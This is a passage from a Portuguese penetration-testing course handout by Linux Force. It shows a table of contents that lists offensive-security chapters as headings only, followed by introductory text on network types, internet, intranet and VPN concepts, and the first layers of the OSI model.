apostila linux force

184
PenTest - Segurança Hacker www.linuxforce.com.br

Upload: paulismar-silva

Post on 29-Nov-2015

469 views

Category:

Documents


1 download

TRANSCRIPT

PenTest - Segurança Hacker

www.linuxforce.com.br

Conteúdo

1 Conceitos Básicos de Redes de Computadores 11.1 Definições Gerais . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1.1 Classificação segundo a extensão geográfica . . . . . . . . . . . 11.1.1.1 Rede Local (LAN) . . . . . . . . . . . . . . . . . . . . . 11.1.1.2 Rede de Longa Distância (WAN) . . . . . . . . . . . . . 21.1.1.3 Rede Metropolitana (MAN) . . . . . . . . . . . . . . . . 2

1.1.2 Conceitos importantes . . . . . . . . . . . . . . . . . . . . . . . . 31.1.2.1 Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . 31.1.2.2 Intranet . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.1.2.3 Extranet . . . . . . . . . . . . . . . . . . . . . . . . . . 41.1.2.4 VPN (Rede Privada Virtual) . . . . . . . . . . . . . . . . 4

1.2 Modelo de Referência OSI . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2.1 Camada 1 – Física . . . . . . . . . . . . . . . . . . . . . . . . . . 61.2.2 Camada 2 – Enlace . . . . . . . . . . . . . . . . . . . . . . . . . 61.2.3 Camada 3 – Rede . . . . . . . . . . . . . . . . . . . . . . . . . . 71.2.4 Camada 4 – Transporte . . . . . . . . . . . . . . . . . . . . . . . 71.2.5 Camada 5 – Sessão . . . . . . . . . . . . . . . . . . . . . . . . . 81.2.6 Camada 6 – Apresentação . . . . . . . . . . . . . . . . . . . . . 81.2.7 Camada 7 - Aplicação . . . . . . . . . . . . . . . . . . . . . . . . 8

1.3 Arquitetura TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91.3.1 Camada Fisica e de Enlace . . . . . . . . . . . . . . . . . . . . . 91.3.2 Camada de Rede . . . . . . . . . . . . . . . . . . . . . . . . . . 101.3.3 Camada de Transporte . . . . . . . . . . . . . . . . . . . . . . . 101.3.4 Camada de Aplicação . . . . . . . . . . . . . . . . . . . . . . . . 11

1.4 Endereçamento IPv4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121.4.1 Máscara de rede . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

1.5 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191.5.1 Endereçamento . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

1.5.1.1 Representação dos endereços . . . . . . . . . . . . . . 211.5.1.2 Tipos de endereços IPv6 . . . . . . . . . . . . . . . . . 22

1.5.1.2.1 Endereços Unicast . . . . . . . . . . . . . . . 231.5.1.2.1.1 Identificadores de interface . . . . . . . 241.5.1.2.1.2 Endereços especiais . . . . . . . . . . . 25

1.5.1.2.2 Endereços Anycast . . . . . . . . . . . . . . . 261.5.1.2.3 Endereços Multicast . . . . . . . . . . . . . . . 27

Linux Force – www.linuxforce.com.br Conteúdo

2 Aprendendo GNU/Linux 322.1 Comandos e Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

2.1.1 O comando ls . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322.1.2 Criação, movimentação, cópia e remoção de arquivos e diretó-

rios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342.1.2.1 Criar arquivo . . . . . . . . . . . . . . . . . . . . . . . . 342.1.2.2 Curingas . . . . . . . . . . . . . . . . . . . . . . . . . . 352.1.2.3 Criando diretórios . . . . . . . . . . . . . . . . . . . . . 372.1.2.4 Removendo arquivos/diretórios . . . . . . . . . . . . . 382.1.2.5 Copiar arquivos/diretórios . . . . . . . . . . . . . . . . . 392.1.2.6 Mover ou renomear arquivos/diretórios . . . . . . . . . 40

2.2 FHS, Hierarquia dos Diretórios . . . . . . . . . . . . . . . . . . . . . . . 412.3 Estrutura de Diretórios GNU/Linux . . . . . . . . . . . . . . . . . . . . . 42

2.3.1 Diretório / . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422.3.2 DIRETÓRIO /bin . . . . . . . . . . . . . . . . . . . . . . . . . . . 432.3.3 Diretório /boot . . . . . . . . . . . . . . . . . . . . . . . . . . . . 432.3.4 Diretório /dev . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 442.3.5 Diretório /etc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 452.3.6 Diretório /lib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 492.3.7 Diretório /media . . . . . . . . . . . . . . . . . . . . . . . . . . . 492.3.8 Diretório /mnt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502.3.9 Diretório /opt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502.3.10 Diretório /sbin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 502.3.11 Diretório srv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 512.3.12 Diretório /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 512.3.13 Diretório /usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522.3.14 Diretório /var . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532.3.15 Diretório /proc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 532.3.16 Diretório /sys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552.3.17 Diretórios /home e /root . . . . . . . . . . . . . . . . . . . . . . . 552.3.18 Localização no sistema: find . . . . . . . . . . . . . . . . . . . . 562.3.19 xargs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

3 Introdução à Segurança da Informação 613.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 613.2 O que é segurança? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 613.3 Segurança da Informação . . . . . . . . . . . . . . . . . . . . . . . . . . 633.4 Padrões/Normas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63

3.4.1 ISO 27001 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 633.4.2 ISO 27002 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 643.4.3 Basileia II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 643.4.4 PCI-DSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 643.4.5 ITIL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 643.4.6 COBIT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

PenTest - Segurança Hacker Página ii

Linux Force – www.linuxforce.com.br Conteúdo

3.4.7 NIST 800 Series . . . . . . . . . . . . . . . . . . . . . . . . . . . 653.5 Por que precisamos de segurança? . . . . . . . . . . . . . . . . . . . . 653.6 Princípios básicos da segurança da informação . . . . . . . . . . . . . . 66

3.6.1 Confidencialidade . . . . . . . . . . . . . . . . . . . . . . . . . . 663.6.2 Integridade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 663.6.3 Disponibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673.6.4 Autenticidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673.6.5 Legalidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 673.6.6 Terminologias de segurança . . . . . . . . . . . . . . . . . . . . 68

3.7 Ameaças e ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 683.8 Mecanismos de segurança . . . . . . . . . . . . . . . . . . . . . . . . . 70

3.8.1 Mecanismos físicos . . . . . . . . . . . . . . . . . . . . . . . . . 703.8.2 Mecanismos lógicos . . . . . . . . . . . . . . . . . . . . . . . . . 71

3.9 Serviços de segurança . . . . . . . . . . . . . . . . . . . . . . . . . . . . 713.10 Certificações . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72

4 Introdução ao Teste de Invasão e Ética Hacker 744.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 744.2 Visão geral sobre o Pentest . . . . . . . . . . . . . . . . . . . . . . . . . 744.3 Tipos de Pentest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75

4.3.1 Blind . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 754.3.2 Double blind . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 754.3.3 Gray Box . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 754.3.4 Double Gray Box . . . . . . . . . . . . . . . . . . . . . . . . . . . 764.3.5 Tandem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 764.3.6 Reversal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76

4.4 As fases de um ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . 764.4.1 Levantamento de Informações . . . . . . . . . . . . . . . . . . . 774.4.2 Varredura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 774.4.3 Ganhando acesso . . . . . . . . . . . . . . . . . . . . . . . . . . 784.4.4 Mantendo acesso . . . . . . . . . . . . . . . . . . . . . . . . . . 794.4.5 Limpando rastros . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

4.5 Categorias de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . 804.5.1 Server Side Attacks . . . . . . . . . . . . . . . . . . . . . . . . . 804.5.2 Client Side Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . 80

4.6 Metodologias existentes . . . . . . . . . . . . . . . . . . . . . . . . . . . 814.7 Como conduzir um teste de invasão . . . . . . . . . . . . . . . . . . . . 824.8 Aspectos Legais . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

5 Google Hacking 855.1 Google Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 855.2 Comandos Avançados do Google . . . . . . . . . . . . . . . . . . . . . 85

5.2.1 intitle, allintitle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 855.2.2 inurl, allinurl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

PenTest - Segurança Hacker Página iii

Linux Force – www.linuxforce.com.br Conteúdo

5.2.3 filetype . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 865.2.4 allintext . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 865.2.5 site . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 875.2.6 link . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 875.2.7 inanchor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 875.2.8 daterange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 885.2.9 cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 885.2.10 info . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 885.2.11 related . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89

5.3 Google Hacking Database . . . . . . . . . . . . . . . . . . . . . . . . . . 895.4 Levantamento de informações . . . . . . . . . . . . . . . . . . . . . . . 89

6 Levantamento de Informações 916.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 916.2 Footprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 916.3 Por onde começar? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 926.4 Consulta a informações de domínio . . . . . . . . . . . . . . . . . . . . 936.5 Consultando servidores DNS . . . . . . . . . . . . . . . . . . . . . . . . 946.6 Consultando websites antigos . . . . . . . . . . . . . . . . . . . . . . . . 956.7 Webspiders . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 966.8 Netcraft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 976.9 Buscando relacionamentos . . . . . . . . . . . . . . . . . . . . . . . . . 976.10 Rastreamento de E-mails . . . . . . . . . . . . . . . . . . . . . . . . . . 986.11 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 996.12 Fingerprint passivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1006.13 Fingerprint ativo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

6.13.1 Descobrindo um Sistema Operacional usando ICMP . . . . . . . 1016.13.2 Calculando HOP . . . . . . . . . . . . . . . . . . . . . . . . . . . 1026.13.3 Fingerprint através do xprobe2 . . . . . . . . . . . . . . . . . . . 102

6.14 Contramedidas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103

7 Engenharia Social 1047.1 O que é Engenharia Social? . . . . . . . . . . . . . . . . . . . . . . . . . 1047.2 Tipos de Engenharia Social . . . . . . . . . . . . . . . . . . . . . . . . . 104

7.2.1 Baseada em pessoas . . . . . . . . . . . . . . . . . . . . . . . . 1047.2.2 Baseada em computadores . . . . . . . . . . . . . . . . . . . . . 105

7.3 Formas de ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1057.3.1 Insider Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1057.3.2 Roubo de identidade . . . . . . . . . . . . . . . . . . . . . . . . . 1057.3.3 Phishing Scam . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1067.3.4 URL Obfuscation . . . . . . . . . . . . . . . . . . . . . . . . . . . 1067.3.5 Dumpster Diving . . . . . . . . . . . . . . . . . . . . . . . . . . . 1067.3.6 Persuasão . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106

7.4 Engenharia Social Reversa . . . . . . . . . . . . . . . . . . . . . . . . . 107

PenTest - Segurança Hacker Página iv

Linux Force – www.linuxforce.com.br Conteúdo

8 Varreduras ativas, passivas e furtivas de rede 1088.1 Varreduras Internet Control Messages Protocol (ICMP) . . . . . . . . . 1088.2 Varreduras TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1098.3 NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1108.4 Métodos de Varredura . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111

8.4.1 -sP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1118.4.2 -sV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1118.4.3 -sS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1118.4.4 -sT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1128.4.5 -sU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1128.4.6 -sF, -sX, -sN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1128.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> . . . . . 113

8.5 Anonymizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1138.5.1 Instalando e testando o TOR no BackTrack . . . . . . . . . . . . 114

9 Enumeração de informações e serviços 1179.1 Enumeração . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1179.2 Aquisição de banners . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117

9.2.1 Técnicas clássicas . . . . . . . . . . . . . . . . . . . . . . . . . . 1189.2.2 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118

10 Trojans, Backdoors, Vírus, Rootkits e Worms 12010.1 Backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12010.2 Cavalo de Tróia ou Trojan Horse . . . . . . . . . . . . . . . . . . . . . . 12010.3 Rootkits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12110.4 Vírus e worms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12210.5 Bots e Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123

10.5.1 Botnets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12310.5.2 Como o invasor se comunica com o Bot? . . . . . . . . . . . . . 12410.5.3 Esquema simplificado de uma botnet . . . . . . . . . . . . . . . 124

10.6 Netcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12510.6.1 Opções do Netcat . . . . . . . . . . . . . . . . . . . . . . . . . . 12510.6.2 Netcat - Utilização . . . . . . . . . . . . . . . . . . . . . . . . . . 12610.6.3 Encadeando Netcats . . . . . . . . . . . . . . . . . . . . . . . . . 127

10.7 Keylogger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127

11 Ignorando Proteções 12911.1 Evasão de Firewall/IDS com Nmap . . . . . . . . . . . . . . . . . . . . . 12911.2 Firewall Tester . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130

11.2.1 Características: . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13011.2.2 Utilização: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13011.2.3 Sintaxe: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131

11.3 Detectando Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131

PenTest - Segurança Hacker Página v

Linux Force – www.linuxforce.com.br Conteúdo

12 Tecnicas de Forca Bruta 13312.1 Brute Force . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13312.2 Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133

12.2.1 Geração de Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . 13312.3 John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135

12.3.1 Modos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13612.3.2 Linha de Comando . . . . . . . . . . . . . . . . . . . . . . . . . . 13812.3.3 Usando o Jhon the Ripper . . . . . . . . . . . . . . . . . . . . . . 140

12.4 THC-Hydra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14112.4.1 Usando o HydraGTK . . . . . . . . . . . . . . . . . . . . . . . . . 14112.4.2 Hydra no terminal . . . . . . . . . . . . . . . . . . . . . . . . . . 141

12.5 Rainbow Crack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14212.6 Utilizando o Rainbow Crack para criação de Rainbow Tables . . . . . . 143

12.6.1 Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143

13 Vulnerabilidades em aplicações web 14913.1 Entendendo a aplicação web . . . . . . . . . . . . . . . . . . . . . . . . 14913.2 Por que é tão perigoso? . . . . . . . . . . . . . . . . . . . . . . . . . . . 14913.3 Principais Classes de Vulnerabilidades . . . . . . . . . . . . . . . . . . . 15013.4 A1 – CROSS SITE SCRIPTING (XSS) . . . . . . . . . . . . . . . . . . . 152

13.4.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 15213.4.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153

13.5 A2 – FALHAS DE INJEÇÃO . . . . . . . . . . . . . . . . . . . . . . . . . 15413.5.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 15413.5.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

13.6 A3 – EXECUÇÃO MALICIOSA DE ARQUIVO . . . . . . . . . . . . . . . 15513.6.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 15613.6.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157

13.6.2.1 Shell PHP . . . . . . . . . . . . . . . . . . . . . . . . . 15713.7 A4 – REFERÊNCIA INSEGURA DIRETA A OBJETO . . . . . . . . . . . 158

13.7.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 15913.7.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160

13.8 A5 – CROSS SITE REQUEST FORGERY (CSRF) . . . . . . . . . . . . 16013.8.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 16113.8.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161

13.9 A6 – VAZAMENTO DE INFORMAÇÕES E TRATAMENTO DE ERROSINAPROPRIADO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16213.9.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 16313.9.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163

13.10A7 – FURO DE AUTENTICAÇÃO E GERÊNCIA DE SESSÃO . . . . . . 16413.10.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 16413.10.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165

13.11A8 – ARMAZENAMENTO CRIPTOGRTAFICO INSEGURO . . . . . . . 16513.11.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 165

PenTest - Segurança Hacker Página vi

Linux Force – www.linuxforce.com.br Conteúdo

13.11.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16613.12A9 – COMUNICAÇÕES INSEGURAS . . . . . . . . . . . . . . . . . . . 166

13.12.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 16713.12.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168

13.13A10 – FALHA AO RESTRINGIR ACESSO À URLS . . . . . . . . . . . . 16813.13.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 168

14 Elevação de Privilégios Locais 17014.1 O que é escalada de privilégios? . . . . . . . . . . . . . . . . . . . . . . 17014.2 Possíveis alvos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17114.3 Laboratorio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171

15 Apagando Rastros 17215.1 Por que encobrir rastros? . . . . . . . . . . . . . . . . . . . . . . . . . . 17215.2 O que encobrir? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17215.3 Técnicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17315.4 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174

16 Referências Bibliográficas 175

PenTest - Segurança Hacker Página vii

1 Conceitos Básicos de Redes deComputadores

1.1 Definições Gerais

Uma Rede de Computadores é: um conjunto de dispositivos processadores capa-zes de trocar informações e compartilhar recursos, interligados por um sistema decomunicação.

Exemplos de dispositivos:

• Celulares

• Computadores

• Notebooks

• Tablets

• Televisores

• Video Games

• e qualquer outro equipamento com capacidade de interconexão

1.1.1 Classificação segundo a extensão geográfica

1.1.1.1 Rede Local (LAN)

Em computação, rede de área local (ou LAN, acrônimo de local area network),ou ainda rede local, é uma rede de computadores utilizada na interconexão de equi-

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

pamentos processadores com a finalidade de troca de dados. Um conceito maispreciso seria: é um conjunto de hardware e software que permite a computadoresindividuais estabelecerem comunicação entre si, trocando e compartilhando infor-mações e recursos. Tais redes são denominadas locais por cobrirem apenas umaárea limitada (10 km no máximo, além do que passam a ser denominadas MANs).Redes em áreas maiores necessitam de tecnologias mais sofisticadas, visto que, fisi-camente, quanto maior a distância de um nó da rede ao outro, maior a taxa de errosque ocorrerão devido à degradação do sinal.

As LANs são utilizadas para conectar estações, servidores, periféricos e outros dis-positivos que possuam capacidade de processamento em uma casa, escritório, es-cola e edifícios próximos.

1.1.1.2 Rede de Longa Distância (WAN)

A Wide Area Network (WAN), Rede de área alargada ou Rede de longa distância,também conhecida como Rede geograficamente distribuída, é uma rede de com-putadores que abrange uma grande área geográfica, com frequência um país oucontinente.

1.1.1.3 Rede Metropolitana (MAN)

Rede de Área Metropolitana (Metropolitan Area Network), também conhecidacomo MAN, é o nome dado às redes que ocupam o perímetro de uma cidade. Sãomais rápidas e permitem que empresas com filiais em bairros diferentes se conectementre si.

A partir do momento que a internet atraiu uma audiência de massa, as operadorasde redes de TV a cabo, começaram a perceber que, com algumas mudanças nosistema, elas poderiam oferecer serviços da Internet de mão dupla em partes nãoutilizadas do espectro. A televisão a cabo não é a única MAN. Os desenvolvimentosmais recentes para acesso à internet de alta velocidade sem fio resultaram em outraMAN, que foi padronizada como IEEE 802.16.

PenTest - Segurança Hacker Página 2

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

1.1.2 Conceitos importantes

1.1.2.1 Internet

A Internet é o maior conglomerado de redes de comunicações em escala mundial edispõe milhões de computadores interligados pelo protocolo de comunicação TCP/IPque permite o acesso a informações e todo tipo de transferência de dados. Ela car-rega uma ampla variedade de recursos e serviços, incluindo os documentos interli-gados por meio de hiperligações da World Wide Web (Rede de Alcance Mundial), ea infraestrutura para suportar correio eletrônico e serviços como comunicação ins-tantânea e compartilhamento de arquivos.

De acordo com a Internet World Stats, 1,96 bilhão de pessoas tinham acesso à In-ternet em junho de 2010, o que representa 28,7% da população mundial. Segundoa pesquisa, a Europa detinha quase 420 milhões de usuários, mais da metade dapopulação. Mais de 60% da população da Oceania tem o acesso à Internet, masesse percentual é reduzido para 6,8% na África. Na América Latina e Caribe, umpouco mais de 200 milhões de pessoas têm acesso à Internet (de acordo com dadosde junho de 2010), sendo que quase 76 milhões são brasileiros.

PenTest - Segurança Hacker Página 3

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

1.1.2.2 Intranet

A intranet é uma rede de computadores privada que assenta sobre a suite de pro-tocolos da Internet, porém, de uso exclusivo de um determinado local, como, porexemplo, a rede de uma empresa, que só pode ser acessada por seus usuáriosinternos.

Pelo fato de sua aplicação, todos os conceitos TCP/IP se empregam à intranet, como,por exemplo, o paradigma de cliente-servidor.

Dentro de uma empresa, todos os departamentos possuem alguma informação quepode ser trocada com os demais setores, podendo cada seção ter uma forma diretade se comunicar com as demais, o que se assemelha muito com a conexão LAN,que, porém, não emprega restrições de acesso.

Diferentemente do que ocorre na intranet, na extranet o acesso à internet se dá emqualquer lugar do mundo.

O termo foi utilizado pela primeira vez em 19 de Abril de 1995, num artigo de autoriatécnica de Stephen Lawton, na Digital News & Reviews.

1.1.2.3 Extranet

A Extranet de uma empresa é a porção da rede de computadores que faz uso daInternet para partilhar com segurança parte do seu sistema de informação.

Tomado o termo em seu sentido mais amplo, o conceito confunde-se com Intranet.Uma Extranet também pode ser vista como uma parte da empresa que é estendida ausuários externos ("rede extra-empresa"), tais como representantes e clientes. Outrouso comum do termo Extranet ocorre na designação da "parte privada"de um site,onde somente "usuários registrados"podem navegar, previamente autenticados porsua senha (login).

1.1.2.4 VPN (Rede Privada Virtual)

Rede Privada Virtual é uma rede de comunicações privada normalmente utilizada poruma empresa ou um conjunto de empresas e/ou instituições, construída em cima deuma rede de comunicações pública (como por exemplo, a Internet). O tráfego de

PenTest - Segurança Hacker Página 4

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

dados é levado pela rede pública utilizando protocolos padrão, não necessariamenteseguros.

VPNs seguras usam protocolos de criptografia por tunelamento que fornecem a con-fidencialidade, autenticação e integridade necessárias para garantir a privacidadedas comunicações requeridas. Quando adequadamente implementados, estes pro-tocolos podem assegurar comunicações seguras através de redes inseguras.

Deve ser notado que a escolha, implementação e uso destes protocolos não é algotrivial, e várias soluções de VPN inseguras são distribuídas no mercado. Adverte-seos usuários para que investiguem com cuidado os produtos que fornecem VPNs. Porsi só, o rótulo VPN é apenas uma ferramenta de marketing.

Os termos: LAN, WAN, MAN, internet, intranet, extranet e VPN deste textoforam extraidos do site http://pt.wikipedia.org

1.2 Modelo de Referência OSI

O modelo OSI (Open Systems Interconnection) foi desenvolvido pela ISO (Internati-onal Standard Organization) com o objetivo de criar uma estrutura para definição depadrões para a conectividade e interoperabilidade de sistemas heterogêneos. Define

PenTest - Segurança Hacker Página 5

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

um conjunto de 7 camadas (layers) e os serviços atribuídos a cada uma. O modeloOSI é uma referência e não uma implementação.

1.2.1 Camada 1 – Física

Transmissão transparente de seqüências de bits pelo meio físico.

Contém padrões mecânicos, funcionais, elétricos e procedimentos para acesso aesse meio físico.

Especifica os meios de transmissão (satélite, coaxial, radiotransmissão, par metálico,fibra óptica, etc.).

Tipos de conexão:

• Ponto-a-ponto ou multiponto

• Full ou half duplex

• Serial ou paralela

1.2.2 Camada 2 – Enlace

Esconde características físicas do meio de transmissão.

Transforma os bits em quadros (frames).

Provê meio de transmissão confiável entre dois sistemas adjacentes.

Funções mais comuns:

• Delimitação de quadro

• Detecção de erros

• Seqüencialização dos dados

• Controle de fluxo de quadro

PenTest - Segurança Hacker Página 6

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Para redes locais é dividido em dois subníveis: LLC (Logical Link Control) e MAC(Media Access Control).

1.2.3 Camada 3 – Rede

Provê canal de comunicação independente do meio.

Transmite pacotes de dados através da rede.

Os pacotes podem ser independentes (datagramas) ou percorrer uma conexão pré-estabelecida (circuito virtual).

Funções características:

• Tradução de endereços lógicos em endereços físicos

• Roteamento

• Não propaga broadcast de rede

• Não possuem garantia de entrega dos pacotes

1.2.4 Camada 4 – Transporte

Nesta camada temos o conceito de comunicação fim-a-fim.

Possui mecanismos que fornecem uma comunicação confiável e transparente entredois computadores, isto é, assegura que todos os pacotes cheguem corretamenteao destino e na ordem correta.

Funções:

• Controle de fluxo de segmentos

• Correção de erros

• Multiplexação

PenTest - Segurança Hacker Página 7

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

1.2.5 Camada 5 – Sessão

Possui a função de disponibilizar acessos remotos, estabelecendo serviços de se-gurança, verificando a identificação do usuário, sua senha de acesso e suas carac-terísticas (perfis). Atua como uma interface entre os usuários e as aplicações dedestino.

Pode fornecer sincronização entre as tarefas dos usuários.

1.2.6 Camada 6 – Apresentação

Responsável pelas transformações adequadas nos dados, antes do seu envio a ca-mada de sessão. Essas transformações podem ser referentes à compressão detextos, criptografia, conversão de padrões de terminais e arquivos para padrões derede e vice-versa.

Funções:

